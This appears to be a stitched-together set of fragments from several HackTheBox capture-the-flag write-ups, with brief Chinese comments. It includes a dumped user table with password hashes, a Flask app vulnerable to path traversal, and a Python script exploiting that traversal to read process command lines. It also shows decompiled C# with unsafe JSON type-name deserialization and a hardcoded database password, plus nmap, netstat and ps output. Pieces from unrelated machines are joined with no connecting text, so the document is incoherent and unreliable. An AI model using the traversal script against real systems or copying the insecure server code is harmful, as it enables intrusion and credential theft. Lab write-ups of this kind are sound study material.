id | username | password | email | activation_code | is_activated | is_admin | date_created ----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+------------------------------- 1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t | t | 2019-03-07 02:02:22.226763-05 2 | bill | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t | f | 2019-05-07 03:34:44.127644-04 3 | michael | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t | f | 2020-10-01 04:12:34.732872-04 4 | john | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t | f | 2021-09-21 11:45:53.118482-04 5 | dmytro | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t | f | 2021-08-13 10:34:36.226763-04 (5 rows)
This is a bash script that takes a path to a certificate file as its argument and checks if the certificate needs to be renewed. If it needs to be renewed, it generates a new certificate with the same subject and places it in a specific directory.
Here’s a brief rundown of what the script does:
The script checks if the correct number of arguments have been provided and prints a usage message if they haven’t.
It then checks if the certificate file exists, and if it doesn’t, it prints an error message and exits.
If the certificate file exists, the script checks if the certificate needs to be renewed by using the openssl command to check if the certificate is still valid for at least 24 hours (86400 seconds) using the -checkend option. If the certificate doesn’t need to be renewed, it prints a message and exits.
If the certificate needs to be renewed, the script extracts the subject fields from the certificate using the openssl command and assigns them to variables for later use.
The script then prints the subject fields to the console.
It then generates a new certificate using the openssl command with the req subcommand to generate a self-signed certificate. The certificate is generated with a validity period of 365 days, a key length of 4096 bits, and the same subject fields as the original certificate.
Finally, the script moves the newly generated certificate to a specific directory with the filename as the common name extracted from the subject of the original certificate, followed by the .crt extension.
– Generated By ChatGPT
@app.route('/') defindex(): if'page'in request.args: page = 'static/'+request.args.get('page') if os.path.isfile(page): resp=send_file(page) resp.direct_passthrough = False if os.path.getsize(page) == 0: resp.headers["Content-Length"]=str(len(resp.get_data())) return resp else: return"File not found" else: return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders') deforder():# don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine. try: ws = websocket.WebSocket() ws.connect("ws://127.0.0.1:5000/") # connect to order app order = {"ReadOrder":"orders.txt"} data = str(json.dumps(order)) ws.send(data) result = ws.recv() return(json.loads(result)['ReadOrder']) except: return("Unable to connect")
if __name__ == '__main__': app.run(host='0.0.0.0', port=8000)
这里提到dll文件和SSH key
编写cmdline.py如下,用于枚举进程命令
1 2 3 4 5 6 7 8
# cmdline.py import requests
req = requests.session() url = "http://bagel.htb:8000/?page=../../../../proc/%d/cmdline" for _ inrange(0, 2000): res = req.get(url % _) print("%s: %s" % (_, res.text))
using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.Versioning; using System.Text; using System.Threading; using Microsoft.CodeAnalysis; using Microsoft.Data.SqlClient; using Newtonsoft.Json; using WatsonWebsocket;
publicNullableContextAttribute(byte P_0) { Flag = P_0; } } } namespacebagel_server { publicclassHandler { publicobjectSerialize(object obj) { //IL_0003: Unknown result type (might be due to invalid IL or missing references) //IL_0008: Unknown result type (might be due to invalid IL or missing references) //IL_0015: Expected O, but got Unknown JsonSerializerSettings val = new JsonSerializerSettings(); val.set_TypeNameHandling((TypeNameHandling)4); return JsonConvert.SerializeObject(obj, (Formatting)1, val); }
publicobjectDeserialize(string json) { //IL_0003: Unknown result type (might be due to invalid IL or missing references) //IL_0008: Unknown result type (might be due to invalid IL or missing references) //IL_0015: Expected O, but got Unknown try { JsonSerializerSettings val = new JsonSerializerSettings(); val.set_TypeNameHandling((TypeNameHandling)4); return JsonConvert.DeserializeObject<Base>(json, val); } catch { return"{\"Message\":\"unknown\"}"; } } } publicclassBagel { privatestaticstring _ServerIp = "*";
privatestaticvoidInitializeServer() { //IL_0010: Unknown result type (might be due to invalid IL or missing references) //IL_001a: Expected O, but got Unknown _Server = new WatsonWsServer(_ServerIp, _ServerPort, _Ssl); _Server.set_AcceptInvalidCertificates(true); _Server.add_MessageReceived((EventHandler<MessageReceivedEventArgs>)MessageReceived); }
publicvoidWriteContent(string filename, string line) { try { System.IO.File.WriteAllText(filename, line); IsSuccess = "Operation successed"; } catch (Exception) { IsSuccess = "Operation failed"; } } } publicclassDB { [Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")] publicvoidDB_connection() { //IL_0008: Unknown result type (might be due to invalid IL or missing references) //IL_000e: Expected O, but got Unknown string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K"; SqlConnection val = new SqlConnection(text); string text2 = "INSERT INTO orders (Name,Address,Count,Type) VALUES ('Eliot','Street',4,'Baggel')"; } } }
Nmap scan report for collect.htb (10.10.11.192) Host is up (0.23s latency). Not shown: 9997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.54 ((Debian)) 6379/tcp open redis Redis key-value store Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
<VirtualHost *:80> # The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. #ServerName www.example.com
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn
# For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with "a2disconf". #Include conf-available/serve-cgi-bin.conf </VirtualHost>
(Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
查看Victor的进程
1
ps -auxwww | grep victor
1 2
victor 1119 0.0 0.5 265840 21416 ? S Mar31 0:00 php-fpm: pool victor victor 1120 0.0 0.5 265840 21664 ? S Mar31 0:00 php-fpm: pool victor